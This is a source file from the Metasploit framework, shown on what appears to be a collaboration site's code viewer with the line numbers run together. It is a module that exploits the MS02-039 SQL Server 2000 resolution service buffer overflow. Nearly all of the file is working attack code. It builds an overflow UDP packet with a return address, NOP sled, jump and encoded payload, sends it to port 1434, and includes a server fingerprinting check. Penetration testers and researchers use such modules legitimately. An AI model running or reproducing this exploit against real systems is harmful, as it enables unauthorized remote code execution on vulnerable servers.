Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/ms02_039_slammer.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})11super(update_info(info,12'Name' => 'MS02-039 Microsoft SQL Server Resolution Overflow',13'Description' => %q{14This is an exploit for the SQL Server 2000 resolution15service buffer overflow. This overflow is triggered by16sending a udp packet to port 1434 which starts with 0x04 and17is followed by long string terminating with a colon and a18number. This module should work against any vulnerable SQL19Server 2000 or MSDE install (pre-SP3).2021},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2002-0649'],27[ 'OSVDB', '4578'],28[ 'BID', '5310'],29[ 'MSB', 'MS02-039'],3031],32'Privileged' => true,33'Payload' =>34{35'Space' => 512,36'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",37'StackAdjustment' => -3500,38},39'Targets' =>40[41[42'MSSQL 2000 / MSDE <= SP2',43{44'Platform' => 'win',45'Ret' => 0x42b48774,46},47],48],49'Platform' => 'win',50'DisclosureDate' => '2002-07-24',51'DefaultTarget' => 0))5253register_options(54[55Opt::RPORT(1434)56])57end585960def check61info = mssql_ping62if (info['ServerName'])63print_status("SQL Server Information:")64info.each_pair { |k,v|65print_status(" #{k + (" " * (15-k.length))} = #{v}")66}67return Exploit::CheckCode::Detected68end69return Exploit::CheckCode::Safe70end7172def exploit7374connect_udp75print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))76print_status("Execute 'net start sqlserveragent' once access is obtained");7778# \x68:888 => push dword 0x3838383a79buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"8081# Return to the stack pointer82buf[ 97, 4] = [target.ret].pack('V')8384# Which lands right here85buf[101, 6] = make_nops(6)8687# Jumps 8 bytes ahead88buf[107, 2] = "\xeb\x08"8990# Write to thread storage space to avoid a crash91buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')9293# And finally into the payload94buf[117,payload.encoded.length] = payload.encoded9596udp_sock.put(buf)9798disconnect_udp99handler100end101end102103104